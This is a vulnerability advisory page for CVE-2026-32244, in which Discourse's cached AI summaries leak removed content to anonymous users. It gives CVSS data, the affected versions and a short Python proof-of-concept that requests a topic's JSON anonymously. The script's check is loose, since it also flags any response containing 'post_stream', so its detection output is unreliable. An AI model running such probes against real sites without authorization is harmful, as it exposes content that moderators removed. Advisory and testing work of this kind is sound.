Security Vulnerability Report
中文
CVE-2026-32244 CVSS 5.3 MEDIUM

CVE-2026-32244

Published: 2026-05-19 00:16:37
Last Modified: 2026-05-19 14:44:04

Description

Discourse is an open-source discussion platform. In versions prior to 2026.1.4, 2026.3.1, 2026.4.1 and 2026.5.0-latest.1, outdated cached AI summaries can leak removed content to anonymous and unprivileged users who cannot regenerate summaries. This issue has been fixed in versions 2026.1.4, 2026.3.1, 2026.4.1 and 2026.5.0-latest.1. To work around this issue, restrict summary generation by tightening the allowed groups on the summarization Personas.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Discourse < 2026.1.4
Discourse < 2026.3.1
Discourse < 2026.4.1
Discourse < 2026.5.0-latest.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2026-32244: Discourse AI Summary Information Leak # This script checks if an outdated AI summary is exposed to unauthenticated users. target = "https://target-discourse-site.com/t/some-topic-id.json" headers = { "User-Agent": "Mozilla/5.0" } try: # Request topic data as an anonymous user response = requests.get(target, headers=headers) if response.status_code == 200: data = response.json() # Check for AI summary in the response (structure may vary) # In vulnerable versions, this might contain deleted content if 'ai_summary' in data or 'post_stream' in data: print("[+] Potential Leak Detected!") print("[+] AI Summary Data:", data.get('ai_summary')) else: print("[-] No AI summary found or patch applied.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32244", "sourceIdentifier": "[email protected]", "published": "2026-05-19T00:16:37.100", "lastModified": "2026-05-19T14:44:04.023", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. In versions prior to 2026.1.4, 2026.3.1, 2026.4.1 and 2026.5.0-latest.1, outdated cached AI summaries can leak removed content to anonymous and unprivileged users who cannot regenerate summaries. This issue has been fixed in versions 2026.1.4, 2026.3.1, 2026.4.1 and 2026.5.0-latest.1. To work around this issue, restrict summary generation by tightening the allowed groups on the summarization Personas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-524"}, {"lang": "en", "value": "CWE-672"}]}], "references": [{"url": "https://github.com/discourse/discourse/security/advisories/GHSA-hjmg-2mww-vfvx", "source": "[email protected]"}]}}